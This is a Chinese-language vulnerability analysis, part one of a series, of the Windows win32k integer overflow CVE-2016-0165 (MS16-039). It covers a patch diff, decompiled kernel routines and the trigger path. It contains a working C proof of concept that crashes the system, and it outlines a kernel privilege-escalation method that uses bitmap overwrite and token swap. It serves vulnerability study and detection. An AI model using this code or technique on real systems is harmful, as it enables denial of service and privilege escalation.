作者:Leeqwind
作者博客:https://xiaodaozhi.com/exploit/32.html

本文将对 CVE-2016-0165 (MS16-039) 漏洞进行一次简单的分析,并尝试构造其漏洞利用和内核提权验证代码,以及实现对应利用样本的检测逻辑。分析环境为 Windows 7 x86 SP1 基础环境的虚拟机,配置 1.5GB 的内存。

本文分为三篇:

从 CVE-2016-0165 说起:分析、利用和检测(上)

从 CVE-2016-0165 说起:分析、利用和检测(中)

从 CVE-2016-0165 说起:分析、利用和检测(下)

0x0 前言

CVE-2016-0165 是一个典型的整数上溢漏洞,由于在 win32k!RGNMEMOBJ::vCreate 函数中分配内核池内存块前没有对计算的内存块大小参数进行溢出校验,导致函数有分配到远小于所期望大小的内存块的可能性。而函数本身并未对分配的内存块大小进行必要的校验,在后续通过该内存块作为缓冲区存储数据时,将会触发缓冲区溢出访问的 OOB 问题,严重情况将导致系统 BSOD 的发生。

本分析中利用该特性,通过内核内存布局的设计以及内核对象的构造,使 win32k!RGNMEMOBJ::vCreate 函数分配的固定大小的内存块被安置在某一内存页的末尾位置,其下一内存页由我们之前分配的垫片对象和位图对象填充。在 win32k!RGNMEMOBJ::vCreate 函数接下来调用 vConstructGET 函数期间,溢出访问发生在可控的内存区域和范围,下一内存页中我们所分配的垫片和位图对象将被溢出覆盖,其中的数据被破坏。根据精心布局的内存结构,位图对象的 sizlBitmap.cy 成员正好被覆盖成了 0xFFFFFFFF 数值,这将使该位图对象拥有完整内存空间访问的能力。

然而由于该位图对象的 pvScan0 成员值未被覆盖,所以该对象读写内存数据时,只能从自身所关联的位图数据区域首地址作为访问的起始地址。而由于提前精心布局的内存结构,该位图对象下一内存页中对应的位置仍旧存储由我们分配的位图对象,通过当前位图对象作为管理对象,以整内存页读写的方式,对其下一内存页中的位图对象的 pvScan0 成员的值进行修改,使其指向我们想要读写访问的内存地址,将下一位图对象作为扩展对象,然后操作扩展对象对指定的内存区域进行读写访问,以指哪、打哪两步走操作的方式,实现任意内核内存地址读写的能力。

利用实现的任意内核内存地址读写的能力,通过定位 System 进程的 EPROCESS 对象地址和当前进程的 EPROCESS 对象地址,以 Token 指针替换的方式实现内核提权的目的。

在本分析中,将对该漏洞的逻辑、触发机理、利用对策等进行由浅入深的探索,并将探究本分析中所涉及到的系统函数在内核中是如何关联在一起的。为减小文章数据占用空间,因此将大部分 IDA 和 WinDBG 分析调试的代码数据截图以代码清单的方式呈现。

本次分析涉及或间接涉及到的类或结构体可在《图形设备接口子系统的对象解释》文档中找到解释说明。

0x1 原理

CVE-2016-0165 是 win32k 内核模块中 GDI 子系统的一个典型的整数向上溢出漏洞。整数向上溢出漏洞通常的特征是:当某个特定的整数变量的数值接近其整数类型的上限、而代码逻辑致使未进行适当的溢出校验就对该变量的值继续增加时,将导致发生整数溢出,使该变量数值的高位丢失,变成远小于其本应成为的数值;如果该变量将作为缓冲区大小或数组的元素个数,继而将使依赖该缓冲区大小或数组元素个数变量的后续代码发生诸如缓冲区溢出、越界访问等问题。


漏洞位置

漏洞发生在 win32k!RGNMEMOBJ::vCreate 函数中,该函数是 RGNMEMOBJ 内存对象类的成员函数,用于依据路径 PATH 对象对当前 RGNMEMOBJ 对象所关联的区域 REGION 对象进行初始化。通过补丁比对,发现以下主要不同的地方:

  if ( 0x28 * (v6 + 1) )
  {
    v12 = ExAllocatePoolWithTag((POOL_TYPE)0x21, 0x28 * (v6 + 1), 'ngrG');
    v7 = a4;
    P = v12;
  }
  else
  {
    P = 0;
  }

清单 1-1 补丁前

  if ( ULongAdd(NumberOfBytes, 1u, &NumberOfBytes) >= 0
    && ULongLongToULong(0x28 * NumberOfBytes, 0x28 * NumberOfBytes >> 32, &NumberOfBytes) >= 0 )
  {
    P = NumberOfBytes ? ExAllocatePoolWithTag((POOL_TYPE)0x21, NumberOfBytes, 'gdeG') : 0;
    if ( P )
    {
      v6 = a4;
      NumberOfBytes = 1;
      ...
    }
    ...
  }

清单 1-2 补丁后

函数中有一处 ExAllocatePoolWithTag 调用,用来分配在构造 REGION 时容纳中间数据的临时缓冲区,并在函数返回之前调用 ExFreePoolWithTag 释放前面分配的缓冲区内存。

补丁在 RGNMEMOBJ::vCreate 函数中调用 ExAllocatePoolWithTag 分配内存之前,增加了 ULongAddULongLongToULong 两个函数调用。函数 ULongAdd 用来将参数 1 和参数 2 相加并将值放置于参数 3 指针指向的 ULONG 类型变量中;函数 ULongLongToULong 用于将 ULONGLONG 类型的参数 1 转换为 ULONG 类型数值并放置在参数 2 指针指向的变量中。这两个函数在调用时如果发现运算的数值超出 ULONG 整数的范围,将会返回 ERROR_ARITHMETIC_OVERFLOW (0x80070216) 的错误码,所以通常被调用来防止发生整数溢出的问题。在该漏洞所在函数中,补丁增加这两个调用则用来防止 ExAllocatePoolWithTag 的参数 SIZE_T NumberOfBytes 发生整数溢出。

除去防止整数溢出的作用外,上面的“补丁后”代码片段增加的两个函数调用计算结果等同于:

NumberOfBytes = 0x28 * (NumberOfBytes + 1);

对比补丁前后的代码片段可知两者含义基本相同,均是用来指示 ExAllocatePoolWithTag 函数调用分配用以存储“特定数量”+1 个 0x28 单位大小元素的内存缓冲区。这个“特定数量”的数值来自于参数 a2 指向的 EPATHOBJ+4 字节偏移的域:

  v6 = *((_DWORD *)a2 + 1);
  v38 = v6;
  if ( v6 < 2 )
    return;

清单 1-3 函数 RGNMEMOBJ::vCreate 对 v6 进行赋值

位于 EPATHOBJ+4 字节偏移的域是定义为 ULONG cCurves 的成员变量,用于定义当前 EPATHOBJ 用户对象的曲线数目。

调用 ExAllocatePoolWithTag 函数分配内存缓冲区后,在随后的代码逻辑中,缓冲区地址的指针将被作为第 3 个参数传入 vConstructGET 函数调用。

  v24 = (struct EDGE *)P;
  *(_DWORD *)(*(_DWORD *)v5 + 0x30) = 0x48;
  *(_DWORD *)(*(_DWORD *)v5 + 0x18) = 0;
  *(_DWORD *)(*(_DWORD *)v5 + 0x14) = 0;
  *(_DWORD *)(*(_DWORD *)v5 + 0x34) = 0;
  *(_DWORD *)(*(_DWORD *)v5 + 0x1C) = *(_DWORD *)v5 + 0x48;
  v25 = *(_DWORD *)v5 + 0x20;
  *(_DWORD *)(v25 + 4) = v25;
  *(_DWORD *)v25 = v25;
  vConstructGET(a2, (struct EDGE *)&v30, v24, a4);

清单 1-4 内存地址的指针作为第 3 个参数传入 vConstructGET 函数


vConstructGET

函数 vConstructGET 用于根据路径建立全局边表,全局边表以 Y-X 坐标序列构成。调用 vConstructGET 时将前面分配的内存指针是作为 struct EDGE * 类型的指针参数传入的。由此可见,该内存缓冲区将作为“特定数量”个单位大小为 0x28struct EDGE 类型元素的数组发挥作用。查阅相关资料,在 WinNT4 源码 (fillpath.c) 中发现 EDGE 数据结构的相关定义:

// Describe a single non-horizontal edge of a path to fill.
typedef struct _EDGE {
    PVOID pNext;            //<[00,04]
    INT iScansLeft;         //<[04,04]
    INT X;                  //<[08,04]
    INT Y;                  //<[0C,04]
    INT iErrorTerm;         //<[10,04]
    INT iErrorAdjustUp;     //<[14,04]
    INT iErrorAdjustDown;   //<[18,04]
    INT iXWhole;            //<[1C,04]
    INT iXDirection;        //<[20,04]
    INT iWindingDirection;  //<[24,04]
} EDGE, *PEDGE;

清单 1-5 结构体 EDGE 的定义

结构体 EDGE 用于描述将要填充的路径中的单个非水平(不与 Y 轴平行的)边。在 32 位环境下,该结构体的大小是 0x28 字节。

在函数 vConstructGET 中循环调用 AddEdgeToGET 函数,将路径中通过两点描述的边依次添加到全局边表中。

  for ( pptfxStart = 0; ppr; ppr = *(struct PATHRECORD **)ppr )
  {
    pptfx = (struct PATHRECORD *)((char *)ppr + 0x10);
    if ( *((_BYTE *)ppr + 8) & 1 )
    {
      pptfxStart = (struct PATHRECORD *)((char *)ppr + 0x10);
      pptfxPrev = (struct PATHRECORD *)((char *)ppr + 0x10);
      pptfx = (struct PATHRECORD *)((char *)ppr + 0x18);
    }
    for ( pptfxEnd = (struct PATHRECORD *)((char *)ppr + 8 * *((_DWORD *)ppr + 3) + 0x10);
          pptfx < pptfxEnd;
          pptfx = (struct _POINTFIX *)((char *)pptfx + 8) )
    {
      pFreeEdges = AddEdgeToGET(pGETHead, pFreeEdges, pptfxPrev, pptfx, pBound);
      pptfxPrev = pptfx;
    }
    if ( *((_BYTE *)ppr + 8) & 2 )
    {
      pFreeEdges = AddEdgeToGET(pGETHead, pFreeEdges, pptfxPrev, pptfxStart, pBound);
      pptfxPrev = 0;
    }
  }

清单 1-6 函数 vConstructGET 代码片段

其中,函数 vConstructGET 的第 3 个参数 struct EDGE *pFreeEdges 即前面分配的内存缓冲区指针,调用 AddEdgeToGETpFreeEdges 作为参数 a2 传入。在依次调用的 AddEdgeToGET 函数中,将通过两点描述的边添加到全局边表中,并将相关数据写入当前 a2 参数指向的 EDGE 结构体元素,最后将下一个 EDGE 元素地址作为返回值返回:

  *(_DWORD *)pFreeEdge = v24;
  *(_DWORD *)v23 = pFreeEdge;
  return (struct EDGE *)((char *)pFreeEdge + 0x28);

清单 1-7 函数 AddEdgeToGET 将 pFreeEdges 数组下一个元素地址作为返回值

如果前面分配内存时分配大小满足了溢出条件,那么将会分配远小于所期望长度的内存缓冲区,但存储于数据结构中的数组元素个数仍是原来期望的数值,在循环调用 AddEdgeToGET 函数逐个操作 pFreeEdges 数组元素时,由于进行了大量的写入操作,将会造成缓冲区访问越界覆盖其他数据,发生不可预料的问题,从而导致系统 BSOD 的触发。

0x2 追踪

为了复现漏洞,需要找一条通往 RGNMEMOBJ::vCreate 中漏洞关键位置的调用路径。在 win32k 中有很多函数都会调用 RGNMEMOBJ::vCreate 函数。

图 2-1 RGNMEMOBJ::vCreate 的引用列表

在前面的章节已知,漏洞触发关键变量 v6 来源于 RGNMEMOBJ::vCreate 函数的 EPATHOBJ *a2 参数。通过在引用列表中逐项比对之后决定选取 NtGdiPathToRegion 函数作为调用接口。


NtGdiPathToRegion

函数 NtGdiPathToRegion 用于根据被选择在 DC 对象中的路径 PATH 对象创建区域 REGION 对象,生成的区域将使用设备坐标,唯一的参数 HDC a1 是指向某个设备上下文 DC 对象的句柄。由于区域的转换需要闭合的图形,所以在函数中执行转换之前,函数会将 PATH 中所有未闭合的图形闭合。在成功执行从路径到区域的转换操作之后,系统将释放目标 DC 对象中的闭合路径。另外该函数可在用户态进程中通过 gdi32.dll 中的导出函数在用户进程中进行直接调用,这给路径追踪带来便利。

  DCOBJ::DCOBJ(&v9, a1);
  ...
  XEPATHOBJ::XEPATHOBJ(&v7, &v9);
  if ( v8 )  // *(PPATH *)((_DWORD *)&v7 + 2)
  {
    v4 = *(_BYTE *)(*(_DWORD *)(v9 + 0x38) + 0x3A);
    v11 = 0;
    RGNMEMOBJ::vCreate((RGNMEMOBJ *)&v10, (struct EPATHOBJ *)&v7, v4, 0);
    if ( v10 )
    {
      v5 = HmgInsertObject(v10, 0, 4);
      if ( !v5 )
        RGNOBJ::vDeleteRGNOBJ((RGNOBJ *)&v10);
    }
    else
    {
      v5 = 0;
    }
    ...
  }

清单 2-1 函数 NtGdiPathToRegion 中调用 RGNMEMOBJ::vCreate 函数

在函数中位于栈上的用户对象 XEPATHOBJ v7 的地址被作为第 2 个参数传递给 RGNMEMOBJ::vCreate 函数调用。XEPATHOBJ v7 在其自身的带参构造函数 XEPATHOBJ::XEPATHOBJ 中依据用户对象 DCOBJ v9 进行初始化,而稍早时 DCOBJ v9DCOBJ::DCOBJ 构造函数中依据 NtGdiPathToRegion 函数的唯一参数 HDC a1 句柄进行初始化。


构造函数

构造函数 XEPATHOBJ::XEPATHOBJ 接受 XDCOBJ *a2 作为参数。函数中对成员域 cCurves 也进行了赋值:

  EPATHOBJ::EPATHOBJ(this);
  ...
  v3 = HmgShareLock(*(_DWORD *)(*(_DWORD *)a2 + 0x6C), 7);
  *((_DWORD *)this + 2) = v3;
  if ( v3 )
  {
    *((_DWORD *)this + 1) = *(_DWORD *)(v3 + 0x44); // count
    *((_DWORD *)this + 0) = *(_DWORD *)(v3 + 0x40);
  }

清单 2-2 对成员 cCurves 进行赋值

构造函数中通过调用 HmgShareLock 函数并传入 HPATH 句柄和 PATH_TYPE (7) 类型对句柄指向的 PATH 对象增加共享计数并返回对象指针,返回的指针被存储在 this 的第 3 个成员变量中(即父类 EPATHOBJ 中的 PPATH ppath 成员),以使当前 XEPATHOBJ 对象成为目标 PATH 对象的用户对象。传入 HmgShareLock 函数调用的参数 1 句柄来源于构造函数的参数 XDCOBJ *a2XDCOBJ 类中第 1 个成员变量 PDC pdc 是指向当前 XDCOBJ 用户对象所代表的设备上下文 DC 对象的指针。此处获取 a2 对象的成员变量 pdc 指向 DC 对象中存储的 HPATH 句柄,作为 HmgShareLock 函数调用的句柄参数。

位于 PATH+0x44 字节偏移的也是一个名为 ULONG cCurves 的域,该域的值赋值给 this 的第 2 个成员变量(即 cCurves 成员变量)。

构造函数 DCOBJ::DCOBJ 的执行就相对简单的多,其中仅根据句柄参数 HDC a2 获取该句柄指向的设备上下文 DC 对象指针并存储在 this 的第 1 个成员变量中(即 PDC pdc 成员),以使当前 DCOBJ 对象成为目标 DC 对象的用户对象。

据此可推断,漏洞关键位置 ExAllocatePoolWithTag 的内存分配大小参数可以通过参数 HDC a1 句柄作为接口进行控制。


调用路径

在用户态进程中,通过 gdi32.dll 中的 HRGN PathToRegion(HDC hdc) 函数可直接调用 NtGdiPathToRegion 系统调用。通过 gdi32!PathToRegion 调用将会实现如下的调用路径:

图 2-2 从 PathToRegion 到 ExAllocatePoolWithTag 调用路径

0x3 触发

接下来要想办法使上述调用路径能够使漏洞关键位置成功达成漏洞触发条件,即满足 ExAllocatePoolWithTag 分配缓冲区大小的整数溢出条件,使 ExAllocatePoolWithTag 最终分配远小于应该分配大小的缓冲区。


PolylineTo

gdi32.dll 模块中存在 PolylineTo 导出函数,用于向 HDC hdc 句柄指向的 DC 对象中绘制一条或多条直线。该函数最终将直接调用 NtGdiPolyPolyDraw 系统调用:

BOOL __stdcall PolylineTo(HDC hdc, const POINT *apt, DWORD cpt)
{
  int v4; // eax@4
  int v5; // edi@4
  int v6; // edi@9

  if ( ((unsigned int)hdc & 0x7F0000) != 0x10000 )
  {
    if ( ((unsigned int)hdc & 0x7F0000) == 0x660000 )
      return 0;
    v4 = pldcGet(hdc);
    v5 = v4;
    if ( !v4 )
    {
      GdiSetLastError(6);
      return 0;
    }
    if ( *(_DWORD *)(v4 + 8) == 2 && !MF_Poly((int)hdc, (struct _POINTL *)apt, cpt, 6u) )
      return 0;
    if ( *(_BYTE *)(v5 + 4) & 0x20 )
      vSAPCallback(v5);
    v6 = *(_DWORD *)(v5 + 4);
    if ( v6 & 0x10000 )
      return 0;
    if ( v6 & 0x100 )
      StartPage(hdc);
  }
  return NtGdiPolyPolyDraw(hdc, apt, &cpt, 1, 4);
}

清单 3-1 函数 PolylineTo 代码

函数 NtGdiPolyPolyDraw 用于绘制一个或多个多边形、折线,也可以绘制由一条或多条直线段、贝塞尔曲线段组成的折线等;其第 4 个参数 ccpt 用于在绘制一系列的多边形或折线时指定多边形或折线的个数,如果绘制的是线条(不管是直线还是贝塞尔曲线)该值都需要设置为 1;第 5 个参数 iFunc 用于指定绘制图形类型,设置为 4 表示绘制直线。

函数 NtGdiPolyPolyDraw 中规定调用时的线条总数目(包括绘制多个多边形或折线时每个图形的边的总数总计)不能大于 0x4E2000 数值,否则将直接返回调用失败:

  cpt = 0;
  for ( i = 0; i < ccpt; ++i )
    cpt += *((_DWORD *)pulCounts + i);
  if ( cpt > 0x4E2000 )
    goto LABEL_56;

清单 3-2 函数 NtGdiPolyPolyDraw 规定线条总数目限制

根据第 5 个参数的值将进入不同的绘制例程:

  switch ( iFunc )
  {
    case 1:
      ulRet = GrePolyPolygon(hdc, pptTmp, pulCounts, ccpt, cpt);
      break;
    case 2:
      ulRet = GrePolyPolyline(hdc, pptTmp, pulCounts, ccpt, cpt);
      break;
    case 3:
      ulRet = GrePolyBezier(hdc, pptTmp, ulCount);
      break;
    case 4:
      ulRet = GrePolylineTo(hdc, pptTmp, ulCount);
      break;
    case 5:
      ulRet = GrePolyBezierTo(hdc, pptTmp, ulCount);
      break;
    default:
      if ( iFunc != 6 )
      {
        v18 = 0;
        goto LABEL_47;
      }
      ulRet = GreCreatePolyPolygonRgnInternal(pptTmp, pulCounts, ccpt, hdc, cpt);
      break;
  }

清单 3-3 函数 NtGdiPolyPolyDraw 根据第 5 个参数的值调用绘制例程

PolylineTo 函数中调用时由于这两个参数被分别指定为 14 数值,那么在 NtGdiPolyPolyDraw 中将会进入调用 GrePolylineTo 函数的分支。传入 GrePolylineTo 函数调用的第 3 个参数 ulCount 是稍早时赋值的本次需要绘制线条的数目,数值来源于从 PolylineTo 函数传入的 cpt 变量(见清单 3-1 所示)。

关键在于 GrePolylineTo 函数中,该函数首先根据 HDC a1 参数初始化 DCOBJ v12 用户对象,此处与上一章节中的初始化逻辑相同;接下来定义了 PATHSTACKOBJ v13 用户对象。PATHSTACKOBJEPATHOBJ 用户对象类的子类,具体定义在开始章节中有相关介绍。函数中调用 PATHSTACKOBJ::PATHSTACKOBJ 构造函数对 v13 对象进行初始化,并在初始化成功后调用成员函数 EPATHOBJ::bPolyLineTo 执行绘制操作。

    EXFORMOBJ::vQuickInit((EXFORMOBJ *)&v11, (struct XDCOBJ *)&v12, 0x204u);
    v8 = 1;
    PATHSTACKOBJ::PATHSTACKOBJ(&v13, (struct XDCOBJ *)&v12, 1);
    if ( !v14 )
    {
      EngSetLastError(8);
LABEL_12:
      PATHSTACKOBJ::~PATHSTACKOBJ((PATHSTACKOBJ *)&v13);
      v6 = 0;
      goto LABEL_9;
    }
    if ( !EPATHOBJ::bPolyLineTo(&v13, (struct EXFORMOBJ *)&v11, a2, a3) )
      goto LABEL_12;
    v9 = (const struct _POINTFIX *)EPATHOBJ::ptfxGetCurrent(&v13, &v10);
    DC::vCurrentPosition(v12, &a2[a3 - 1], v9);

清单 3-4 函数 GrePolylineTo 的代码片段


构造函数

构造函数 PATHSTACKOBJ::PATHSTACKOBJ 具有 struct XDCOBJ *a2int a3 两个外部参数。参数 a2 不解释;参数 a3 用于指示是否将目标 DC 对象的当前位置坐标点使用在 PATH 对象中。此处传递的值是 1 表示使用当前位置。

构造函数首先会根据标志位变量 v4 判断目标 DC 对象是否处于活跃状态,随后通过调用 HmgShareLock 函数获取目标 PATH 对象指针并初始化相关成员变量(与前面章节所示类似地,包括 cCurves 成员)。参数 a3 值为 1 时构造函数会获取该 DC 对象的当前位置坐标点,用以在后续的画线操作中将其作为初始坐标点。

  v4 = *(_DWORD *)(*(_DWORD *)a2 + 0x70);
  if ( v4 & 1 )
  {
    ...
    v6 = HmgShareLock(*(_DWORD *)(*(_DWORD *)a2 + 0x6C), 7);
    *((_DWORD *)this + 2) = v6;
    if ( v6 )
    {
      *((_DWORD *)this + 1) = *(_DWORD *)(v6 + 0x44);
      *((_DWORD *)this + 0) = *(_DWORD *)(v6 + 0x40);
      ...
    }
  ...
  }

清单 3-5 构造函数 PATHSTACKOBJ::PATHSTACKOBJ 对成员变量的初始化

不关注构造函数中后续的其他初始化操作,回到 GrePolylineTo 函数中并关注 EPATHOBJ::bPolyLineTo 函数调用。EPATHOBJ::bPolyLineTo 执行具体的从 DC 对象的当前位置点到指定点的画线操作。如清单 3-4 所示,传入的第 4 个参数 a3 是由 NtGdiPolyPolyDraw 函数传入的线条数目 ulCount 变量;此时作为其 a4 参数的值传入 EPATHOBJ::bPolyLineTo 函数调用。


EPATHOBJ::bPolyLineTo

函数 EPATHOBJ::bPolyLineTo 通过调用 EPATHOBJ::addpoints 执行将目标的点添加到路径中的具体操作。执行成功后,将参数 a4 的值增加到成员变量 cCurves 中:

  if ( *((_DWORD *)this + 2) )
  {
    v6 = 0;
    v8 = a3;
    v7 = a4;
    result = EPATHOBJ::addpoints(this, a2, (struct _PATHDATAL *)&v6);
    if ( result )
      *((_DWORD *)this + 1) += a4;
  }

清单 3-6 函数 EPATHOBJ::bPolyLineTo 增加成员变量 cCurves 的值

函数 EPATHOBJ::addpoints 主要通过调用函数 EPATHOBJ::growlastrecEPATHOBJ::createrec 实现功能:

  if ( !(*(_BYTE *)(*((_DWORD *)this + 2) + 0x34) & 1) )
    EPATHOBJ::growlastrec(this, a2, a3, 0);
  while ( *((_DWORD *)a3 + 1) > 0u )
  {
    if ( !EPATHOBJ::createrec(v3, a2, a3, 0) )
      return 0;
  }

清单 3-7 函数 EPATHOBJ::addpoints 代码片段

系统在 PATH 对象中通过一个或多个 PATHRECORD 记录存储一组或多组路径数据;从第 2 个开始的 PATHRECORD 记录项作为第 1 个记录项的延续。初始情况下,当前 PATH 对象并未包含任何 PATHRECORD 项,此时在调用 EPATHOBJ::addpoints 函数时会跳过 EPATHOBJ::growlastrec 调用而直接执行到 EPATHOBJ::createrec 函数。

type struct  _POINTFIX {
    ULONG x;
    ULONG y;
} POINTFIX, *PPOINTFIX;

struct _PATHRECORD {
    struct _PATHRECORD *pprnext;
    struct _PATHRECORD *pprprev;
    FLONG    flags;
    ULONG    count;
    POINTFIX aptfx[2]; // at least 2 points
};

清单 3-8 PATHRECORD 结构定义

函数 EPATHOBJ::createrec 创建并初始化新的 PATHRECORD 记录项,并将其添加到 PATH 对象中。函数中会判断当前 PATH 对象是否属于初始状态,如果属于初始状态则将前置初始点数量 cPoints 变量置为 1 并随后将初始坐标点首先安置在新构造的 PATHRECORD 记录中作为最开始的坐标点,该初始坐标点稍早时在构造函数中通过目标 DC 对象的当前位置坐标点初始化;由用户传入的坐标点序列将紧随其后被逐项安置在 PATHRECORD 记录中。在处理并存储坐标点数据时,各坐标点的 X 轴和 Y 轴数值都被左移 4 位。

  cPoints = *((_DWORD *)ppath + 0xD) & 1;
  ...
  if ( cPoints )
  {
    ppath = *((_DWORD *)this + 2);
    *((_DWORD *)ppr + 4) = *(_DWORD *)(ppath + 0x2C);
    *((_DWORD *)ppr + 5) = *(_DWORD *)(ppath + 0x30);
    --maxadd;
    *((_DWORD *)ppr + 2) = flags | *(_DWORD *)(*((_DWORD *)this + 2) + 0x34) & 5;
    *(_DWORD *)(*((_DWORD *)this + 2) + 0x34) &= 0xFFFFFFFA;
  }
  else
  {
    ppath = *((_DWORD *)this + 2);
    if ( *(_DWORD *)(ppath + 0x18) != 0 )
      *(_DWORD *)(*(_DWORD *)(ppath + 0x18) + 8) &= 0xFFFFFFFD;
  }
  v19 = (struct PATHRECORD *)((char *)ppr + 8 * cPoints + 0x10);

清单 3-9 函数 EPATHOBJ::createrec 将初始点安置在 PATHRECORD 坐标点序列起始位置

在安置初始坐标点的同时,函数会清除目标 PATH 对象的代表初始状态的标志位;后续再次针对当前 PATH 对象调用到 EPATHOBJ::addpoints 时,将会首先进入 EPATHOBJ::growlastrec 调用,由用户传入的坐标点序列将被优先追加到原有的 PATHRECORD 记录中;当原有的记录的坐标点缓冲区存满时,才会进入后续的 EPATHOBJ::createrec 调用,创建新的作为前一个 PATHRECORD 记录延续的记录项。


析构函数

EPATHOBJ::~EPATHOBJ 析构函数中会将 EPATHOBJ 对象的 cCurves 成员存储的更新后的曲线数目回置给关联的 PATH 对象中的 cCurves 域中:

  ppath = ((_DWORD *)this + 2);
  if ( *((_DWORD *)this + 2) )
  {
    *(_DWORD *)(*(_DWORD *)ppath + 0x44) = *((_DWORD *)this + 1);
    *(_DWORD *)(*(_DWORD *)ppath + 0x40) = *((_DWORD *)this + 0);
    ppath = DEC_SHARE_REF_CNT(*(_DWORD *)ppath);
  }

清单 3-10 析构函数 EPATHOBJ::~EPATHOBJ 回置 cCurves 域的值

另外注意到在 EPATHSTACKOBJ::~EPATHSTACKOBJ 析构函数中也存在类似的回置逻辑,但其需判断当前 EPATHSTACKOBJ 对象是否属于 PATHTYPE_STACK 类型,在本分析所涉及的调用中并未涉及到该类型,所以只在父类 EPATHOBJ 的析构函数中回置相关域。


调用路径

根据上面的分析可知,通过适当调用 gdi32!PolylineTo 即可增加目标 DC 对象关联的 PATH 对象中 cCurves 域的值,该值直接影响到调用漏洞所在函数 RGNMEMOBJ::vCreate 分配内存缓冲区的大小。所以通过精巧构造的 POC 应可实现漏洞的触发。从 PolylineToEPATHOBJ::bPolyLineTo 的调用路径:

图 3-1 从 PolylineTo 到 EPATHOBJ::bPolyLineTo 调用路径

0x4 验证

根据前面章节的分析和追踪,在本章节尝试对该漏洞的机理进行验证。

Windows 系统中,ULONG 类型的整数最大值为 0xFFFFFFFF,超过该范围将会发生整数向上溢出,溢出发生后仅保留计算结果的低 32 位数据,超过 32 位的数据将丢失。例如:

0xFFFF FFFF + 0x1 = 0x(1) 0000 0000 = 0x0

在本漏洞所在的现场,传入 ExAllocatePoolWithTag 的参数:

NumberOfBytes = 0x28 * (v6 + 1)

要使 NumberOfBytes 参数满足 32 位整数溢出的条件,需要满足:

0x28 * (v6 + 1) > 0xFFFFFFFF

解该不等式得到 v6 > 0x‭6666665‬ 的结果。

RGNMEMOBJ::vCreate 函数的开始位置调用的 EPATHOBJ::vCloseAllFigure 成员函数,用来遍历 PATHRECORD 列表中的每个条目,并将所有未处于闭合状态的记录项设置为闭合状态。设置闭合状态表示将末尾的坐标点和起始坐标点相连接,所以需要同时对 cCurves 成员变量加一。

  for ( ppr = *(struct PATHRECORD **)(*((_DWORD *)this + 2) + 0x14); ppr; ppr = *(struct PATHRECORD **)ppr )
  {
    v2 = *((_DWORD *)ppr + 2);
    if ( v2 & 2 )
    {
      if ( !(v2 & 8) )
      {
        *((_DWORD *)ppr + 2) = v2 | 8;
        ++*((_DWORD *)this + 1);
      }
    }
  }

清单 4-1 闭合 PATHRECORD 记录时对 cCurves 成员变量加一

形成闭合图形之后,边的数目应和顶点的数目相等;而根据前面的章节可知,在调用 EPATHOBJ::createrec 函数创建初始 PATHRECORD 记录时,将源自于设备上下文的起始坐标点作为 PATH 对象的顶点序列的最开始的坐标点,这导致执行到漏洞关键位置时,变量 v6 的值比由用户进程传入的线条数目大 1。所以在用户进程中传递的画线数目只需大于 0x6666664 就能够满足溢出条件。但根据图 3-2 所示,传入的线条总数不能大于 0x4E2000 数值,否则将直接返回失败。所以在验证代码中可以分为多次调用。

漏洞验证逻辑如下:

图 4-1 漏洞验证逻辑

漏洞验证代码如下:

#include <Windows.h>
#include <wingdi.h>
#include <iostream>

CONST LONG maxCount = 0x6666665;
CONST LONG maxLimit = 0x4E2000;
static POINT point[maxCount] = { 0 };

int main(int argc, char *argv[])
{
    BOOL ret = FALSE;
    for (LONG i = 0; i < maxCount; i++)
    {
        point[i].x = i + 1;
        point[i].y = i + 2;
    }
    HDC hdc = GetDC(NULL); // get dc of desktop hwnd
    BeginPath(hdc); // activate the path
    for (LONG i = maxCount; i > 0; i -= min(maxLimit, i))
    {
        ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i));
    }
    EndPath(hdc); // deactivate the path
    HRGN hRgn = PathToRegion(hdc);
    return 0;
}

清单 4-2 漏洞验证代码

在清单 4-2 的代码中,我将绘制的线条数目设置为 0x6666665,这将导致在 RGNMEMOBJ::vCreate 函数中计算分配缓冲区大小时发生整数溢出,缓冲区分配大小的数值成为 0x18。代码编译后在目标系统中执行,由整数溢出引发的 OOB 漏洞导致的系统 BSOD 在稍等片刻之后便会触发:

图 4-2 整数溢出引发 OOB 导致系统 BSOD 触发


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/579/